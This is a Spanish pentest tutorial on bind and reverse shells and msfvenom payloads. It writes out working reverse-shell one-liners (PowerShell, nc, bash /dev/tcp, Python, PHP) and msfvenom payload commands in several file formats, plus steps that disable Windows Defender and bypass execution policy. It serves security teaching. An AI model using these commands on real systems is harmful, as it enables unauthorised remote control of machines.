0% encontró este documento útil (0 votos)
33 vistas38 páginas

Shells y Payloads

Cargado por

PaulinaTQ
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
33 vistas38 páginas

Shells y Payloads

Cargado por

PaulinaTQ
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Shells y Payloads

Guía Básica
ADVERTENCIA

En esta guía se utilizarán herramientas con la capacidad de generar código


malicioso. Es fundamental que estas herramientas se empleen únicamente
en entornos controlados, con fines educativos o de prueba, y siempre con
el consentimiento explícito de los propietarios del sistema.

Para realizar las pruebas de manera efectiva, será necesario desactivar


temporalmente cualquier software antivirus, ya que estos pueden
bloquear o interferir con las herramientas descritas.

El autor no se hace responsable de ningún daño, pérdida de datos o


consecuencias legales que puedan derivarse de un uso indebido de las
herramientas mencionadas en esta guía. El uso de estas herramientas
debe ser ético y legal en todo momento.

La evasión de sistemas de seguridad, como firewalls o antivirus, queda


fuera del alcance de este tutorial.

Atacar sistemas sin el consentimiento explícito de los propietarios


constituye una violación de la ley en la mayoría de las jurisdicciones y
puede acarrear consecuencias legales graves.
INDICE

Introducción..................................................................................1
Advertencia Windows Defender....................................................2
Transferencia de Archivos..............................................................3

¿Qué es una Shell?........................................................................4


Bind Shells (Shells de Enlace)........................................................5
Estableciendo una conexión básica con Netcat…………….……….....6
Estableciendo una bind shell básica con Netcat……………….……....7
Reverse Shells (Shells Inversa)......................................................9
Shell Inversa en Windows...........................................................10

Payloads (Cargas Útiles)..............................................................13


Payloads sin etapas (Stageless Payloads)....................................14
Payloads por etapas (Staged Payloads).......................................15
Transferencia y Ejecución de Payloads........................................17

Payloads para Sistemas Windows...............................................18


Payloads sin etapas con Msfvenom (Stageless Payloads)……......21
Payloads con etapas con Msfvenom (Staged Payloads)..............25

Shells en Entornos GNU/Linux....................................................27


Creación de Payloads para Linux................................................29
Web Shells..................................................................................31
Introducción

En el ámbito de la ciberseguridad, tanto las shells como los


payloads son componentes clave en el proceso de explotación de
un sistema. Una shell (también conocida como intérprete de
comandos o consola) permite interactuar con el sistema objetivo
a través de la línea de comandos, ejecutando instrucciones y
realizando tareas específicas.

Por su parte, los payloads (o cargas útiles) son fragmentos de


código que se entregan al sistema objetivo con el fin de ejecutar
acciones determinadas. Estos pueden incluir desde la apertura
de una shell para obtener control remoto del sistema, hasta la
instalación de backdoors o la ejecución de otras acciones
maliciosas.

En esta guía básica, exploraremos cómo se utilizan ambos


elementos en el contexto de pruebas de penetración y
explotación de sistemas.

Página 1 de 35
Windows Defender

Es probable que el antivirus de Windows Defender detenga la ejecución de


código malicioso, lo cual es esperado desde una perspectiva defensiva. Sin
embargo, desde un enfoque ofensivo, esto representa un obstáculo. Cabe
mencionar que la evasión de sistemas de seguridad, como firewalls,
antivirus o EDR, queda fuera del alcance de este tutorial.

Para poder continuar, será necesario desactivarlo desde la configuración


de 'Protección contra virus y amenazas' o utilizando el siguiente comando
en PowerShell con privilegios de administrador.

Comando PowerShell:

PS C:\Users\TechDefense> Set-MpPreference -DisableRealtimeMonitoring $true

Desactivar desde la Configuración de Windows Defender

1. Abre Configuración (Win + I).

2. Ve a Privacidad y seguridad > Seguridad de Windows > Protección


contra virus y amenazas.

3. Haz clic en Administrar configuración bajo la sección Configuración


de protección contra virus y amenazas.

4. Desactiva la opción Protección en tiempo real.

Página 2 de 35
Transferencia de Archivos

Esta guía no se centra en la transferencia de archivos, no obstante, te


enseñaremos un método sencillo para hacerlo.

En sistemas GNU/Linux, si tienes Python instalado, puedes crear un


servidor web en la máquina atacante y descargar el archivo desde el
navegador o mediante un comando en PowerShell desde el sistema
objetivo. La carpeta compartida será el directorio en donde se inicie el
servicio (comando Python), así que asegúrate de ubicarte en la carpeta
que contiene el archivo antes de ejecutarlo.

1. Crear Servidor Web Maquina Atacante en Linux:

Lab@TechDefense:~$ python3 -m [Link] 80


Serving HTTP on [Link] port 80 ([Link] ...

2. Para descargar el archivo, puedes hacerlo desde el navegador web del


sistema objetivo, simplemente ingresando la dirección IP de la máquina
atacante, por ejemplo: [Link]

También puedes utilizar PowerShell con el siguiente one-liner para


descargar el archivo:

PS C:\Users\TechDefense\Payloads> Invoke-WebRequest -Uri


"[Link] -OutFile
"C:\Users\TechDefense\Payloads\[Link]"

Página 3 de 35
¿Qué es una Shell?

Una shell es un programa que sirve de interfaz entre el usuario y el


sistema operativo, interpretando y ejecutando los comandos ingresados.
En esencia, actúa como un intérprete de línea de comandos que permite
interactuar con el sistema de forma textual.

Lista de Shells más conocidas:

Shell Sistema Operativo


Bash Linux, macOS, Windows (WSL)
Zsh Linux, macOS
PowerShell Windows, Linux, macOS
CMD Windows

¿Por qué obtener una shell?

Obtener una shell en una prueba de penetración es crucial, ya que permite


ejecutar comandos en el sistema objetivo.

• Acceso al Sistema: Ejecutar comandos, acceder a archivos sensibles,


exfiltrar datos o modificar configuraciones.

• Pivotar en la Red: Aprovechar el acceso para moverse hacia otros


sistemas en la red interna.

• Persistencia: Instalar backdoors o modificar configuraciones para


mantener el acceso a largo plazo.

Una shell ofrece mayor control y es menos detectable que conexiones


gráficas como RDP o VNC.

Página 4 de 35
Bind Shells (Shells de Enlace)

Una Bind Shell es un tipo de shell remota en la que el sistema objetivo


abre un puerto y queda a la espera de conexiones entrantes. Luego, el
atacante se conecta a ese puerto para obtener acceso al sistema.

Una vez establecida la conexión, el atacante puede interactuar con el


sistema de manera remota y ejecutar comandos.

En muchos casos, cuando nos conectamos a una shell en un sistema, ya


sea en una red local o remota, utilizando un emulador de terminal para
controlar el sistema objetivo a través de su shell.

Lista de emuladores más conocidos:

Emulador Sistema Operativo


PuTTY Windows, Linux
Terminator Linux, macOS
QT Terminal Linux
XTerm Linux, Unix
Alacritty Linux, macOS, Windows
Kitty Linux

Ejemplo:

(Atacante) → (IP: Puerto) → (Objetivo)

El firewall del sistema objetivo puede bloquear o dificultar su conexión.

Página 5 de 35
Netcat

Netcat (nc) es considerado una "navaja suiza" porque puede operar sobre
TCP, UDP y sockets de Unix. Es compatible con IPv4 e IPv6, permite abrir y
escuchar en sockets, funcionar como un proxy e incluso manejar entrada y
salida de texto. En este caso, usamos nc en nuestra máquina de ataque
como cliente, mientras que el sistema objetivo actúa como servidor.

Estableciendo una conexión básica con Netcat

Este proceso es perfecto para comprender cómo funcionan las conexiones


de red y cómo interactúan las máquinas a través de puertos específicos.

Para establecer una conexión básica con Netcat, entre 2 sistemas


GNU/Linux puedes seguir los siguientes pasos.

1. En el Sistema Objetivo – Iniciar Netcat a la escucha

En nuestra consola ejecutamos el siguiente comando:

Lab@TechDefense:~$ nc -lvnp 1234


listening on [any] 1234 ...

Explicación:

• nc: Inicia la herramienta Netcat.


• l: Pone a Netcat en modo escucha.
• v: Muestra un modo verbose.
• n: Evita la resolución DNS, utilizando solo direcciones IP.
• p 1234: Especifica el puerto en el que Netcat queda a la escucha.

En este caso, el sistema objetivo actúa como servidor, mientras que nuestra
máquina atacante se comporta como cliente.

Página 6 de 35
2. Maquina Atacante - Conectándose al Sistema Objetivo

En la consola ejecutamos el siguiente comando:

pentest@TechDefense:~$ nc [Link] 1234

Una vez que la conexión esté establecida, puedes enviar texto desde uno
de los terminales. Por ejemplo, si estás en el cliente, puedes escribir
mensajes que el servidor recibirá en tiempo real, y viceversa.

Para cerrar la conexión, simplemente puedes presionar Ctrl+C en la maquina


atacante.

Estableciendo una bind shell básica con Netcat

Hemos demostrado cómo usar Netcat para transmitir texto entre un


cliente y un servidor. Sin embargo, esto no constituye una bind shell, ya
que no podemos interactuar con el sistema operativo ni acceder al sistema
de archivos. En este caso, solo estamos transmitiendo texto a través del
canal de comunicación creado por Netcat.

Para establecer una bind shell, debemos en el sistema objetivo especificar


el puerto en el que escuchará el servicio, la shell que se ejecutará cuando
se establezca la conexión, y asegurarnos de redirigir la entrada y salida
entre la shell y la conexión con el atacante. De esta manera, cuando el
atacante se conecte, obtendrá acceso interactivo al sistema operativo,
permitiéndole ejecutar comandos y explorar el sistema de archivos.

Página 7 de 35
1. Sistema Objetivo - Iniciando Netcat

En la consola ejecutamos el siguiente comando:

Lab@TechDefense:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -


i 2>&1 | nc -lvnp 1234 > /tmp/f
listening on [any] 1234 ...

Los comandos anteriores forman nuestro payload, y los hemos ejecutado


manualmente. Sin embargo, es importante destacar que la
implementación de estos comandos puede variar dependiendo del
sistema operativo.

2. Maquina Atacante – Conectándose al Sistema Objetivo

En la consola ejecutamos el siguiente comando:

pentest@TechDefense:~$ nc [Link] 1234

Una vez que la conexión esté establecida, puedes interactuar con la shell
de la maquina objetivo como si se estuviese ejecutando comandos
directamente en su sistema.

Página 8 de 35
Reverse Shells (Shells Inversa)

En una shell inversa, la máquina atacante configura un listener (se queda a


la escucha en un puerto determinado) y espera a que el sistema objetivo
inicie la conexión hacia ella. Este tipo de shell se utiliza comúnmente
cuando se identifican sistemas vulnerables, ya que las conexiones salientes
suelen ser más difíciles de detectar por los administradores de red, lo que
aumenta las posibilidades de establecer una conexión sin ser detectados.

Ejemplo:

(Atacante) ← (IP : PUERTO) ← (Objetivo)

En la sección anterior, vimos cómo las bind shells dependen de


conexiones entrantes permitidas por el firewall de la máquina objetivo.
Este enfoque puede ser más complicado en escenarios reales, ya que los
firewalls modernos tienden a bloquear conexiones entrantes no
autorizadas. A diferencia de las bind shells, en una reverse shell es la
máquina objetivo la que inicia la conexión, transformando nuestra
máquina atacante en el servidor y la máquina objetivo en el cliente.

Muchos administradores de sistemas y equipos SOC conocen los repositorios


públicos y las herramientas utilizadas por atacantes, por lo que ajustan sus
controles de seguridad para detectar y mitigar ataques basados en métodos
comunes.

Página 9 de 35
Shell Inversa en Windows

Ahora, estableceremos una shell inversa simple utilizando código de


PowerShell en un sistema objetivo con Windows. El código de PowerShell
también puede ser llamado payload.

1. Maquina Atacante - Iniciando un listener en el puerto 443

En nuestra consola ejecutamos el siguiente comando:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...

Vinculamos nuestra máquina atacante al puerto 443 para evitar bloqueos


por firewalls, ya que muchos servicios lo usan. Sin embargo, un firewall
con DPI podría detectar la shell. También se puede usar el puerto 53 con
DNS tunneling.

2. Sistema Objetivo - Conectándose al Atacante

Desde el sistema objetivo (Windows), abrimos el CMD y ejecutamos el


siguiente comando:

C:\Users\TechDefense> powershell -nop -c "$client = New-Object


[Link]('[Link]',443);$stream =
$[Link]();[byte[]]$bytes = 0..65535|%{0};while(($i =
$[Link]($bytes, 0, $[Link])) -ne 0){;$data = (New-Object -
TypeName [Link]).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> ';$sendbyte =
([[Link]]::ASCII).GetBytes($sendback2);$[Link]($sendbyte,0,
$[Link]);$[Link]()};$[Link]()"

Página 10 de 35
Este comando establece una conexión con la maquina atacante (IP
[Link]) en el puerto 443, permitiendo al atacante enviar comandos y
recibir los resultados ejecutados en el sistema objetivo.

Es importante modificar la dirección IP en el script de PowerShell para que


apunte a la IP de la máquina atacante.

[Posible error de PowerShell]

En línea: 1 Carácter: 1
+ $client = New-Object [Link]('[Link]',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Este script contiene elementos malintencionados y ha sido bloqueado por
el software antivirus.

La política de ejecución de PowerShell controla cuándo se cargan y


ejecutan scripts, ayudando a prevenir la ejecución de scripts maliciosos al
bloquear archivos de script, módulos y perfiles (.ps1, .psm1, .ps1xml).

Para ejecutar el script PS1, necesitas omitir la política de ejecución


ejecutando el siguiente comando en PowerShell:

PS C:\Users\TechDefense\Payloads> PowerShell –ep bypass

Página 11 de 35
3. Maquina Atacante - Iniciando la conexión

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49957

whoami
desktoplab\tech defense lab
PS C:\Users\TechDefense>

En nuestro equipo de ataque, deberíamos notar que hemos establecido


con éxito una reverse shell y podremos ejecutar comandos.

El uso de shells es fundamental en el ámbito de la ciberseguridad, tanto en


pruebas de penetración como en ataques maliciosos. Mientras que las
shells bind exponen un puerto en el sistema objetivo, permitiendo que el
atacante se conecte, las shells reverse permiten que el sistema objetivo
inicie la conexión hacia el atacante, lo que puede ser más difícil de
detectar.

Comprender cómo funcionan estas shells es esencial no solo para


defender nuestros sistemas, sino también para evaluar vulnerabilidades y
mejorar la seguridad en general.

El uso ético y controlado de estas herramientas es clave en el proceso de


aprendizaje.

Página 12 de 35
Payloads (Cargas Útiles)

Imagina que envías un paquete a través de un servicio de mensajería. El


contenido dentro de ese paquete es el payload (carga útil), es decir, lo que
realmente quieres entregar.

En ciberseguridad, un payload es el código o comando que explota una


vulnerabilidad en un sistema o aplicación. Desde una perspectiva
defensiva, es el elemento que ejecuta la acción maliciosa. Por ejemplo,
como vimos en la sección de shells inversas, Windows Defender bloqueó
nuestro payload de PowerShell al identificarlo como código malicioso.

Comprender cómo funcionan los diferentes tipos de payloads nos ayuda a


entender por qué un antivirus puede bloquear su ejecución y qué aspectos
modificar para evadir restricciones.

Por ahora, es clave recordar que el tipo de payload para obtener una shell
dependerá del sistema operativo, los intérpretes de shell, los lenguajes de
programación disponibles y las medidas de seguridad implementadas en el
sistema objetivo.

La evasión de un antivirus o EDR será abordada en otra guía.

Página 13 de 35
Payloads sin etapas (Stageless Payloads)

Un payload sin etapas es un payload completo que se envía al objetivo en


su totalidad, sin dividirlo en partes. Este tipo de payload contiene todo el
código necesario para ejecutar la acción maliciosa en el sistema objetivo,
lo que significa que no hay etapas previas que preparen el terreno para su
ejecución: todo el código llega de una sola vez.

Ventaja: Suele ser más rápido, ya que no requiere establecer


conexiones adicionales para recibir más partes del código.

Desventaja: Debido a su tamaño, es más fácil de detectar por los


sistemas de seguridad, ya que todo el código malicioso llega de inmediato.

Aunque un payload sin etapas generalmente no necesita una conexión


adicional a un servidor C2 para ejecutar su función, ya que es
autocontenible, en algunos casos, podría comunicarse con el servidor C2
para realizar acciones adicionales o recibir instrucciones, dependiendo de
cómo esté diseñado el código del payload.

Página 14 de 35
Payloads por etapas (Staged Payloads)

En un payload por etapas, el código se divide en varias partes. La primera


etapa, generalmente pequeña, tiene como objetivo inicializar la
comunicación con el servidor o llevar a cabo tareas previas, como: evasión
de detección, establecimiento de persistencia, desactivación de
herramientas de seguridad y recopilación de información del sistema.
Dependiendo de la situación, puede descargar payloads adicionales,
ejecutar una serie de comandos o quedarse latente a la espera de nuevas
instrucciones. Gracias a su tamaño reducido y función específica, suele ser
difícil de detectar por sistemas de seguridad.

Ventaja: Es difícil de detectar debido a su pequeño tamaño y función


limitada, lo que permite descargar el resto del payload dinámicamente,
aumentando las probabilidades de evadir la detección.

Desventaja: Si la conexión con el servidor se interrumpe, el payload no


se completará. Además, el proceso en varias etapas puede demorar más
en ejecutarse.

En muchos casos, los Payloads por etapas se comunican con servidores C2


(Comando y Control). Es un patrón común en ataques avanzados, malware
y campañas de APT (Amenazas Persistentes Avanzadas). Esta comunicación
permite al atacante controlar el payload, actualizarlo o descargar
diferentes versiones según el entorno del objetivo.

Página 15 de 35
Resumen de diferencias:

Concepto Stages (Con Etapas) Stageless (Sin Etapas)

Eficiencia Más lento debido a las ✔ Más rápido y directo, sin


múltiples etapas. necesidad de descargar
partes.

Ancho de Más tráfico de red ✔ Menos tráfico de red,


Banda debido a la descarga de todo se envía en una sola
etapas. vez.

Evasión ✔ Mejor para evadir Menos efectivo en


detección, menos tráfico. evasión, más fácil de
detectar.

Uso en ataques complejos: Los payloads con etapas son más adecuados
para ataques avanzados donde se necesita persistencia, evasión de
detección, y la capacidad de adaptarse al entorno del objetivo. Mientras
que los payloads sin etapas suelen ser más efectivos en situaciones de alto
riesgo y en donde se necesita un ataque rápido y directo.

Detección de Payloads sin etapas: A pesar de ser más fáciles de detectar


por sistemas de seguridad debido a su tamaño y rapidez, los payloads sin
etapas pueden ser optimizados mediante técnicas de ofuscación o cifrado
para mejorar su evasión.

Página 16 de 35
Transferencia y Ejecución de Payloads:

La transferencia y ejecución de payloads es esencial en los ataques, ya que


permite ejecutar código malicioso en un sistema objetivo, utilizando
diversos métodos según el entorno.

Exploits de Vulnerabilidades: La explotación de vulnerabilidades


específicas en el software o hardware es una de las técnicas más efectivas
para transferir y ejecutar payloads maliciosos.

Ingeniería Social (Phishing, Spear Phishing, USB Drops): Manipular a las


personas para que realicen acciones comprometedoras, como hacer clic
en enlaces maliciosos o conectar dispositivos infectados.

Ataques a Aplicaciones Web ( RCE, RFI, Inyecciones SQL, etc.): Las


aplicaciones web son un vector común de ataque debido a su
accesibilidad.

Zero Days: Las vulnerabilidades desconocidas que aún no tienen parches


disponibles son altamente valiosas para los atacantes, ya que permiten
ejecutar código malicioso sin ser detectados.

C2 (Command and Control) y Herramientas como Impacket: Los


frameworks de C2 permiten a los atacantes controlar sistemas
comprometidos de manera remota, transfiriendo y ejecutando payloads
de forma encubierta y persistente.

Página 17 de 35
Payloads para Sistemas Windows

Cuando se trata de crear payloads para sistemas Windows, existen varias


opciones disponibles, como DLLs, paquetes MSI, scripts de PowerShell y
archivos ejecutables .exe, que son algunos de los métodos más comunes.
Cada tipo de archivo ofrece capacidades distintas, pero todos comparten
el hecho de ser ejecutables en un host. Es crucial considerar el mecanismo
de entrega del payload, ya que esto puede influir en la elección del tipo de
payload a utilizar.

En el contexto de payloads por etapas (staged payloads), los archivos .exe


se utilizan comúnmente como droppers. Un dropper se encargaría de
entregar o ejecutar el payload final, como una DLL o un script de
PowerShell. El uso de .exe como dropper es especialmente útil en los
payloads por etapas, ya que permite descargar o ejecutar el verdadero
código malicioso de manera controlada, lo que a menudo ayuda a eludir la
detección en muchos casos.

Algunos de los Payloads más Utilizados en Sistemas Windows

PowerShell: Es tanto un entorno de shell como un lenguaje de secuencias


de comandos en sistemas Windows. Permite ejecutar código en un host y
ofrece múltiples opciones para realizar pruebas de penetración, gracias a
su integración con el .NET Common Language Runtime.

Página 18 de 35
DLL: Las bibliotecas de enlace dinámico (DLL) contienen código y datos
compartidos entre programas en Windows. Inyectar una DLL maliciosa
puede permitir elevar privilegios a SYSTEM y eludir controles de cuentas
de usuario.

MSI: Los archivos .MSI son utilizados para instalar aplicaciones en


Windows. Como pentester, podemos crear un payload en formato .MSI y
usar msiexec para ejecutar código malicioso y obtener acceso adicional al
sistema.

VBS: VBScript es un lenguaje de secuencias de comandos basado en Visual


Basic, comúnmente usado en ataques de Phishing. Aunque está
deshabilitado en la mayoría de navegadores, sigue siendo útil para
ejecutar código malicioso en sistemas Windows, como habilitar macros en
documentos de Excel.

Generadores de Payloads

Existen diversas herramientas populares para generar payloads en pruebas


de penetración, especialmente diseñadas para sistemas Windows. A
continuación, mencionamos algunas de las más utilizadas. También es
posible modificar o, mejor aún, diseñar un payload propio si se tiene el
conocimiento suficiente, lo que es ideal para evadir sistemas de detección
como EDR o antivirus.

En la guía de Comando y Control, exploramos la implementación y gestión


de servidores C2 para controlar payloads de manera remota.

Página 19 de 35
Recurso Descripción

MSF es una herramienta extremadamente


Metasploit-Framework versátil que permite enumerar hosts, generar
& MSFVenom payloads, utilizar exploits públicos y
personalizados, y realizar post-explotación.

Un repositorio de recursos y hojas de trucos


PayloadsAllTheThings que cubren una amplia gama de metodologías
y técnicas para la generación de payloads.

Framework C2 de código abierto que


proporciona una alternativa moderna a Cobalt
Sliver
Strike, ideal para Red Teaming y evasión de
detección.

Framework C2 moderno que se enfoca en la


Havoc post-explotación y evasión, similar a Sliver,
pero con características adicionales.

Herramienta para crear payloads en memoria


Donut que permiten ejecutar código de manera
eficiente sin necesidad de escribir en el disco.

Herramienta que permite empaquetar y


Shellter ofuscar payloads de Windows en archivos
ejecutables.

Página 20 de 35
Payloads sin etapas con Msfvenom (Stageless Payloads)

Metasploit Framework ofrece un extenso catálogo de exploits y payloads,


pero esta guía se centra en los conceptos generales de funcionamiento de
un payload, sin detallar el uso de exploits.

1. Ejecutable (.exe)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p windows/shell_reverse_tcp


lhost=[Link] lport=443 -f exe > [Link]

Transferimos y ejecutamos el .exe a la maquina objetivo:

C:\Users\TechDefense\Payloads> [Link]

Recibimos la conexión remota empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

PS C:\Users\TechDefense\Payloads>

Página 21 de 35
2. Archivo por lotes de PowerShell (.bat)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p cmd/windows/reverse_powershell


lhost=[Link] lport=443 > [Link]

Transferimos y ejecutamos el .bat a la maquina objetivo:

C:\Users\TechDefense\Payloads> [Link]

Recibimos la conexión remota empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\TechDefense\Payloads>

3. Aplicación HTML (HTA)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p windows/shell_reverse_tcp


lhost=[Link] lport=443 -f hta-psh > [Link]

Colocamos el payload en un servidor y ejecutamos el Payload desde la


maquina objetivo:

Página 22 de 35
C:\Users\TechDefense> mshta [Link]

Recibimos la conexión remota empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\TechDefense\Payloads>

4. Instalador de Microsoft Payload (MSI)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p windows/shell_reverse_tcp


lhost=[Link] lport=443 -f msi > [Link]

Transferimos y ejecutamos el .msi a la maquina objetivo:

C:\Users\TechDefense> msiexec /quit /qn /i [Link]

Recibimos la conexión remota empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\TechDefense\Payloads>

Página 23 de 35
5. Biblioteca de Enlace Dinámico) (DLL)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p windows/shell_reverse_tcp


lhost=[Link] lport=443 -f dll > [Link]

Transferimos y ejecutamos el .dll a la maquina objetivo:

C:\Users\TechDefense\Payloads> [Link] [Link],0

Recibimos la conexión remota empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\TechDefense\Payloads>

6. PowerShell (ps1)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p
windows/x64/meterpreter_reverse_https lhost=[Link] lport=443 -f
psh > shell.ps1

Dado que el tipo de shell inversa es meterpreter, necesitamos lanzar


exploit/multi/handler dentro del framework de Metasploit.

Lab@TechDefense:~$ msfconsole -x "use exploit/multi/handler; set lhost


[Link]; set lport 443; set payload
windows/x64/meterpreter_reverse_https; exploit"

Página 24 de 35
Transferimos y ejecutamos el .ps1 a la maquina objetivo:

PS C:\Users\TechDefense> .\shell.ps1

Recibimos la conexión remota empleando msfconsole:

[*] Using configured payload generic/shell_reverse_tcp


lhost => [Link]
lport => 443
payload => windows/x64/meterpreter_reverse_https
[*] Started HTTPS reverse handler on [Link]
[!] [Link] handling request from [Link]; (UUID:
s5f6ma0a) Without a database connected that payload UUID tracking will
not work!
[*] [Link] handling request from [Link]; (UUID:
s5f6ma0a) Attaching orphaned/stageless session...
[!] [Link] handling request from [Link]; (UUID:
s5f6ma0a) Without a database connected that payload UUID tracking will
not work!
[*] Meterpreter session 1 opened ([Link]:443 ->
[Link]:49771) at 2025-01-31 [Link] +0100

meterpreter >

Payloads con etapas con Msfvenom (Staged Payloads)

1. Ejecutable (.exe)

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p windows/x64/shell_reverse_tcp


LHOST=[Link] LPORT=443 -f exe > shell_staged.exe

Página 25 de 35
Dado que el tipo de shell inversa es meterpreter, necesitamos lanzar
exploit/multi/handler dentro del framework de Metasploit.

Lab@TechDefense:~$ msfconsole -q -x "use exploit/multi/handler; set


PAYLOAD windows/x64/shell_reverse_tcp; set LHOST [Link]; set
LPORT 443; exploit"

Transferimos y ejecutamos el .exe a la maquina objetivo:

C:\Users\TechDefense\Payloads> shell_staged.exe
Recibimos la conexión remota empleando msfconsole:
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
LHOST => [Link]
LPORT => 443
[*] Started reverse TCP handler on [Link]:443

[*] Command shell session 1 opened ([Link]:443 ->


[Link]:49910) at 2025-01-01 [Link] +0100

Shell Banner:
Microsoft Windows [Version 10.0.26100.2894]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\TechDefense\Payloads>

Crear un payload con herramientas como msfvenom es sencillo, incluso


para quienes no tienen experiencia avanzada.

Una vez generado el payload, el desafío es evitar su detección por antivirus


o herramientas de seguridad como EDR. Existen técnicas de ofuscación
que dificultan la detección del código malicioso que exploraremos en la
guía de ofuscación.

Página 26 de 35
Alternar entre Staged y Stageless en msfvenom:

En msfvenom, casi todos los payloads tienen versiones staged y stageless.


La diferencia principal es que los staged requieren un pequeño "stager"
para descargar el payload completo, mientras que los stageless contienen
todo el código en un solo archivo.

Para crear un payload staged o stageless, simplemente cambia la


"variante" en la opción de payload.

Ejemplo:

• Staged: windows/meterpreter/reverse_tcp

• Stageless: windows/x64/meterpreter_reverse_tcp

Esto lo cubriremos más en detalle en la guía de implementación de C2.

Shells en Entornos GNU/Linux

En ciberseguridad, especialmente durante un test de penetración


(pentest), uno de los objetivos puede ser obtener acceso a sistemas
basados en GNU/Linux. Esto se puede lograr mediante la explotación de
vulnerabilidades o la identificación de configuraciones incorrectas.

Obtener acceso a un sistema GNU/Linux a través de un shell permite a los


atacantes interactuar directamente con el sistema, ejecutar comandos y
obtener información sensible, lo que puede abrir la puerta a ataques más
profundos dentro de la red interna.

Página 27 de 35
¿Por qué Linux?

La mayoría de los servidores, especialmente los que están conectados a la


internet, utilizan sistemas operativos basados en Linux o Unix. Esto hace
que dominar Linux y obtener acceso remoto a través de un shell sea
crucial para los profesionales de la ciberseguridad.

Además, muchas organizaciones mantienen servidores Linux expuestos


on-premise, lo que brinda a los atacantes una oportunidad significativa
para pivotar hacia otros sistemas dentro de la red una vez que acceden a
un servidor.

¿Cómo Obtener un Shell?

Existen diversas formas de obtener un shell en Linux, principalmente


explotando vulnerabilidades en aplicaciones web o configuraciones
incorrectas. Las técnicas más comunes incluyen:

1. Explotación de Vulnerabilidades en Aplicaciones Web: Mediante


inyección de comandos, inclusión remota de archivos o la carga de
archivos maliciosos, entre algunos vectores.

2. Exploits de Software y Sistemas: Aprovechando vulnerabilidades en


el sistema operativo, software desactualizado o configuraciones
incorrectas, los atacantes ejecutan un shell remoto.

Página 28 de 35
Creación de Payloads para Linux

Como se mencionó anteriormente, es posible generar payloads staged o


stageless para sistemas operativos como Windows, Linux y macOS.

Es importante recordar que esta guía se enfoca en los conceptos generales


de cómo funcionan los payloads, sin entrar en detalles sobre el uso
específico de exploits o herramientas como Metasploit.

Ejemplo de Stageless Reverse Shell empleando msfvenom:

En la consola de nuestra maquina atacante ejecutamos:

Lab@TechDefense:~$ msfvenom -p linux/x86/shell_reverse_tcp


LHOST=[Link] LPORT=443 -f elf -a x86 --platform Linux > rev_shell.elf

Transferimos, ejecutamos y luego recibimos la conexión remota


empleando Netcat:

Lab@TechDefense:~$ nc -lvnp 443


listening on [any] 443 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 49936

En la mayoría de los escenarios cuando se intenta obtener una shell en un


servidor GNU/Linux se explota mediante una falla en su configuración o en
vulnerabilidad en la aplicación web, no obstante, es importante volver a
mencionar que existen muchos otros métodos y vectores de ataque, que
también pueden ser explotados para lograr un acceso remoto.

Página 29 de 35
Ejemplos de “one liner” Reverse Shell:

Los one-liner reverse shells, son comandos simples y concisos que


permiten establecer una conexión remota con el atacante, otorgándole
acceso a una shell en el sistema comprometido.

Aquí tienes algunos ejemplos comunes:

1. Netcat Reverse Shell (Linux/Unix)

nc -e /bin/bash [Link] 4444

2. Bash Reverse Shell (Linux/Unix)

bash -i >& /dev/tcp/[Link]/4444 0>&1

3. Python Reverse Shell (Linux/Unix)

python -c 'import socket, subprocess, os; s=[Link](socket.AF_INET,


socket.SOCK_STREAM); [Link](("[Link]", 4444));
os.dup2([Link](), 0); os.dup2([Link](), 1); os.dup2([Link](), 2);
[Link](["/bin/sh", "-i"]);'

4. PHP Reverse Shell (Web)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/[Link]/4444 0>&1'");


?>

5. Ruby Reverse Shell (Linux/Unix)

ruby -rsocket -e'f=[Link]("[Link]",4444).to_i; exec


